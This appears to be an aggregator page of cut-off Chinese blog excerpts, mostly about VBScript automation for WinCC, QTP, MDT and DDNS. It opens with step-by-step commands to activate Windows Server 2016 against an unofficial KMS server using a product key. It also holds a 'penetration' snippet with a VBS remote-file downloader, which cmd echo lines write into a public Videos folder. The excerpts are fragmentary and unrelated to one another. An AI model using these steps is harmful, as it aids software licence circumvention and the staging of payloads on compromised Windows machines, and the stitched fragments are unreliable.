1.打开cmd控制台，按顺序输入以下命令，有报错不要管它。 slmgr /upk slmgr.vbs /ipk CB7KF-BWN84-R7R2Y-793K2-8XDDG slmgr.vbs /skms kms.lotro.cc slmgr.vbs /ato 2.进入电脑属性激活服务器 Windows Server 2016 数据中心 CB7KF-BWN84-R7R2Y-793K2-8XDDG Windows Server 2016
场景举例：A文件夹有500个文件，其中有50个文件文件需要移动到B文件夹，此时用肉眼去找就费时费力； 前提条件：1.你有A文件夹500个文件的文件名，将文件名记录在Excel内，同时能筛选出需要移动的那50个文件的文件名； 实现原理：利用vbs获取到存文件名称的那个Excel表，进入到对应页签，获取需要移动的5
有工作任务，执行一个vbs脚本，纯vbs脚本，不涉及批处理，让vbs在执行的过程中有管理员权限，能够执行管理员才能执行的操作。 我实现的思路是调用cmd向一个无管理员权限的位置写入一个文件，等待这个操作的结束，然后再去判断这个文件是否存在，如果不存在，则申请管理员权限来运行当前的这个vbs脚
背景：由于公司各城市之间带宽限制，无法进行同一站点的文件复制，会造成网络拥堵，因此通过IP判断指向各个站点文件服务器进行局域网复制 #如果生产环境允许通过修改DNS，将路径指向FileSever会更加方便，判断IP的方式将不再需要，因为PC会自动寻找最近的FileSever 前期部署准备： 为了尽可能对
微软的MDT提供一个ZtiGather.wsf的tool来识别客户端的系统类别。对应不同的系统类型，会生成对应的OSD系统变量，如服务器（IsServer），台式机(IsDesktop)，笔记本(IsLaptop)。这个变量对于我们部署app来说是很方便的，可以在一个task sequence里安装各个硬件类型的app，而不用为每个硬件类型都创
外部VBS的调用 2013-12-19 23:36 狂师 阅读(2171) 评论(0) 编辑 收藏 一．QTP调用外部VBS的方法加到QTP的Resource中在QTP菜单中设置， 菜单FileàSettingsàResource，将要加载的VB脚本添加进来。 举例：步骤1：在D盘下新建一个VBS文件，叫“ test.vbs”，
VBS脚本合集（自制脚本） 2013-09-04 18:15 狂师 阅读(758) 评论(0) 编辑 收藏 一、视频搜索器选择：Selectitem() '#########################################Function Selectitem()'Set VedioSearch=WScript.CreateObject("wscript.shell")Dim
VBS脚本随笔 2013-07-17 22:24 狂师 阅读(1007) 评论(0) 编辑 收藏 1、定时运行程序与关闭程序的VBS处理方法：doset ws=createobject("wscript.shell")ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数，可选值如下.wscript.sleep 36000 '
VBS常用使用技巧 2013-06-23 18:08 狂师 阅读(1272) 评论(0) 编辑 收藏 （一）VBS常用函数使用笔记：1、Msgbox语法：msgbox "对话框内容", , "对话框的标题"2、inputbox是VBS内建的函数，可以接受输入的内容，其语法格式为：Inputbox("对话框内容","对话框标
解析针对巴西用户的恶意软件及垃圾邮件行动 TRex 嘶吼专业版 FireEye实验室最近发现了几起针对巴西公司的大范围masepam（恶意软件垃圾邮件）行动，旨在传播银行***。我们将这些行动称为Metamorfo。在行动的各个阶段中，我们观察到使用多种策略和技术来逃避检测并提供恶意payload。本文
好吧，首先承认我这篇文章有标题党的嫌疑，这篇文章的标题应该是：Windows平台各常用脚本语言对比分析&放弃批处理的n个理由。 不过无妨了，只要能忽悠你们点进来就行，哈哈。一、学习-收益曲线。 上图是我绘制的Windows常用脚本语言的学习成本-收益曲线。1.学习成本与学习收益。学习成本可理
我初次见到这种方法是在PCL_Test(qop_dob)兄回答别人的问题时候使用的，但是PCL斑竹却没有详细介绍这种方法，那么我来做一个整理和补充好了。 参考（bat、vbs、js 原生混编 BY CrLf斑竹） 这种神奇的混编方法与上面链接所介绍的不同，该方法的特点是可以方便的在批处理与Vbs/Js脚本间切换，而
echo on error resume next >c:\Users\Public\Videos\zl.vbsecho iLocal=LCase(Wscript.Arguments(1)) >>c:\Users\Public\Videos\zl.vbsecho iRemote=LCase(Wscript.Arguments(0)) >>c:\Users\Public\Videos\zl.vbsecho iUser=LCase(Wscript.Argu
方法0：自己翻译 下面所列的方法效果都不是很理想，翻译出的JS往往参杂有VBS且有诸多错误。 不过可以辅以手动翻译&纠错，倒也比纯手工省事不少。 有些日期操作函数JS中也没有相对应的函数提供，所以即便是纯手工也无法做到完美翻译。 方法1：Node.js包vbs2js 项目地址：Github var vbs2j
链接：https://pan.baidu.com/s/12YSug_doZM5y_PIBBaYSIw 提取码：vcus 另外在安装后，若提示缺少HFSS.vbs文件时，这可能与权限有关，尝试使用管理员权限运行应该会OK，在ViaWizard的安装目录下会自动产生一个HFSS.vbs文件，后续也不用再使用管理员权限运行。
@echo off :: BatchGotAdmin :------------------------------------- REM --> Check for permissions >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we d
原文地址：https://blog.wxlost.com/kms.html KMS 激活方案与常用密钥 KMS服务器快速搭建(Linux) 2017-1-1 0 0 1. 激活Windows系统 过程解析 (管理员模式运行 cmd→卸载密钥 (也可以不管直接添加)→添加密钥 →更改激活服务器→激活→查看激活信息)下面为
话不多说配上部分代码 Dim objConDim strConStrSet objCon= CreateObject("ADODB.CONNECTION")strConStr= "Data Source=AAAA;UID=BBBB;PWD=CCCC;"objCon.Open strConStr AAAA处是数据源名（管理工具--ODBC数据源中配置）此处需要注意安装的oracle客户端版本是32位还是64位 如果系统
有群友在群里询问过wincc怎么把变量归档里面的数据读取出来，这个我以前也没做过，不过好在官网有教程，但教程只是介绍了读取一个变量的方法，而且教程是写入excel——不过这个不是关键。我照着教程的方法，按照自己的理解做了读取两个变量到控件中，两个以上变量的方法可以照着做就是了。
前面的一篇博客记录了如何读取多个变量归档数据到mshgrid控件，根据的是西门子官网的教学。有网友询问为什么他照着官网方法就是无法导出到excel。我自己也做了一遍，没有问题。本篇主要记录导出按钮的脚本。 前面的准备工作与上一篇一致，导出按钮的vbs脚本如下： Sub OnClick(ByVal I
今天在群里有人询问wincc脚本操作一个已经存在的excel文件时，怎么避免重复打开一个文件，其实这个很好实现的。按钮的vbs脚本如下： Sub OnClick(ByVal Item) Dim path,xlApppath= "c:\myxls.xlsx"Set xlApp=CreateObject("e
使用VBS脚本实现Ali_DDNS 有以字节方式读取文本 有以字节方式覆写文本 有对两个字节数组进行HMAC-SHA1运算 有利用CMD进行SHA1计算 有对字节数组BASE64编码 python SDK我安装不上，就想写个VBS版的。 Const SHA1_size_B = 20 '20 Byte Const HMAC_B = 64 Const ipv4_type = "(
前面的博客介绍了使用复选框和脚本进行用户归档控件显示和隐藏，我们还可以使用单选框做列的升序和降序排列。 1. 先建立用户归档以及与PLC的连接，画面上设置一个用户归档控件UA，添加一个单选框名字修改为option。 在画面的打开事件中添加以下脚本 Sub OnOpen()Dim MyoptionSet Myopt
我们在用户归档中得到数据之后，如果想导出到excel，思路是和把MSHFGrid数据导出类似的。网上有些文章是直接从后台数据表读取数据，本文介绍从数据归档控件导出数据。 1. 假设wincc项目已经创建了用户归档，画面上有一个用户归档控件，名字叫做UA，设置一个按钮，按钮点击事件添加以下vbs脚本 S
cmd 渗透 目录cmd 渗透下载文件vbs 下载文件 vbs iLocal = LCase(WScript.Arguments(1)) iRemote = LCase(WScript.Arguments(0)) Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() Set sGet = CreateObject("ADODB.Stream
